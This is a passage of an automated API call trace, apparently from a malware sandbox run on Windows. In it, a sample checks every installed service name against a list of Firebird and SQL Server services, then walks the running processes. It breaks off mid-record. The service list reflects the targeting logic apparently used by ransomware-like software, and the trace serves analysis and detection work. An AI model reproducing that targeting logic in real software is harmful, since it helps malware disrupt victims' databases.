lstrlenW (lpString="KeyIso") returned 6 [0270.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0270.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0270.551] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0270.551] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0270.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0270.551] lstrlenW (lpString="LanmanServer") returned 12 [0270.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0270.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0270.551] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0270.551] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0270.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0270.551] lstrlenW (lpString="LanmanWorkstation") returned 17 [0270.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.552] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0270.552] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0270.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0270.552] lstrlenW (lpString="lfsvc") returned 5 [0270.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0270.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0270.552] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0270.552] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0270.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0270.552] lstrlenW (lpString="lmhosts") returned 7 [0270.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0270.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0270.552] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0270.552] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0270.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0270.552] lstrlenW (lpString="LSM") returned 3 [0270.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0270.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0270.552] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0270.552] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0270.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0270.552] lstrlenW (lpString="MpsSvc") returned 6 [0270.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0270.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0270.552] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0270.552] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0270.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0270.552] lstrlenW (lpString="NcbService") returned 10 [0270.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0270.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0270.553] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0270.553] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0270.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0270.553] lstrlenW (lpString="netprofm") returned 8 [0270.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0270.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0270.553] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0270.553] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0270.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0270.553] lstrlenW (lpString="NgcSvc") returned 6 [0270.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0270.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0270.553] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0270.553] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0270.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0270.553] lstrlenW (lpString="NlaSvc") returned 6 [0270.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0270.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0270.553] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0270.553] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0270.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0270.553] lstrlenW (lpString="nsi") returned 3 [0270.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0270.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0270.553] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0270.553] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0270.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0270.553] lstrlenW (lpString="PcaSvc") returned 6 [0270.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0270.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0270.554] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0270.610] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0270.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0270.648] lstrlenW (lpString="PlugPlay") returned 8 [0270.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0270.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0270.648] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0270.648] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0270.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0270.648] lstrlenW (lpString="Power") returned 5 [0270.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0270.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0270.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0270.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0270.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0270.648] lstrlenW (lpString="ProfSvc") returned 7 [0270.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0270.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0270.648] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0270.648] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0270.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0270.648] lstrlenW (lpString="RpcEptMapper") returned 12 [0270.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.648] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0270.648] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0270.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0270.648] lstrlenW (lpString="RpcSs") returned 5 [0270.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0270.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0270.648] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0270.648] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0270.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0270.649] lstrlenW (lpString="SamSs") returned 5 [0270.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0270.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0270.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0270.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0270.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0270.649] lstrlenW (lpString="Schedule") returned 8 [0270.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0270.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0270.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0270.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0270.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0270.649] lstrlenW (lpString="SecurityHealthService") returned 21 [0270.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0270.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0270.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0270.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0270.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0270.649] lstrlenW (lpString="SENS") returned 4 [0270.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0270.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0270.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0270.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0270.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0270.649] lstrlenW (lpString="ShellHWDetection") returned 16 [0270.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.649] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0270.649] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0270.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0270.649] lstrlenW (lpString="Spooler") returned 7 [0270.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0270.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0270.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0270.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0270.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0270.650] lstrlenW (lpString="StateRepository") returned 15 [0270.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0270.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0270.650] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0270.650] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0270.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0270.650] lstrlenW (lpString="SysMain") returned 7 [0270.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0270.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0270.650] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0270.650] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0270.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0270.650] lstrlenW (lpString="SystemEventsBroker") returned 18 [0270.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0270.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0270.650] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0270.650] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0270.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0270.650] lstrlenW (lpString="Themes") returned 6 [0270.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0270.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0270.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0270.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0270.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0270.650] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0270.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0270.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0270.651] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0270.651] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0270.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e07d8 | out: hHeap=0x630000) returned 1 [0270.651] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xff8 [0270.655] Process32FirstW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.656] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.657] lstrlenW (lpString="System") returned 6 [0270.657] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.658] lstrlenW (lpString="smss.exe") returned 8 [0270.658] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.659] lstrlenW (lpString="csrss.exe") returned 9 [0270.659] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.659] lstrlenW (lpString="wininit.exe") returned 11 [0270.660] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.660] lstrlenW (lpString="csrss.exe") returned 9 [0270.660] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.661] lstrlenW (lpString="winlogon.exe") returned 12 [0270.661] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.662] lstrlenW (lpString="services.exe") returned 12 [0270.662] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.663] lstrlenW (lpString="lsass.exe") returned 9 [0270.663] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0270.664] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0270.664] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0270.664] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0270.664] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.665] lstrlenW (lpString="svchost.exe") returned 11 [0270.665] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.666] lstrlenW (lpString="svchost.exe") returned 11 [0270.666] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.667] lstrlenW (lpString="dwm.exe") returned 7 [0270.667] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.667] lstrlenW (lpString="svchost.exe") returned 11 [0270.668] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.668] lstrlenW (lpString="svchost.exe") returned 11 [0270.669] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.669] lstrlenW (lpString="svchost.exe") returned 11 [0270.669] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.670] lstrlenW (lpString="svchost.exe") returned 11 [0270.670] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.671] lstrlenW (lpString="svchost.exe") returned 11 [0270.671] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.672] lstrlenW (lpString="svchost.exe") returned 11 [0270.672] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.673] lstrlenW (lpString="svchost.exe") returned 11 [0270.673] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.674] lstrlenW (lpString="svchost.exe") returned 11 [0270.674] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.675] lstrlenW (lpString="svchost.exe") returned 11 [0270.675] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.676] lstrlenW (lpString="svchost.exe") returned 11 [0270.676] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.677] lstrlenW (lpString="spoolsv.exe") returned 11 [0270.677] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.678] lstrlenW (lpString="svchost.exe") returned 11 [0270.678] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.679] lstrlenW (lpString="audiodg.exe") returned 11 [0270.679] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0270.828] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0270.828] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0270.829] lstrlenW (lpString="Memory Compression") returned 18 [0270.829] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0270.830] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0270.830] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.831] lstrlenW (lpString="sihost.exe") returned 10 [0270.831] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.832] lstrlenW (lpString="svchost.exe") returned 11 [0270.832] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.833] lstrlenW (lpString="taskhostw.exe") returned 13 [0270.833] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0270.834] lstrlenW (lpString="msoia.exe") returned 9 [0270.834] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, 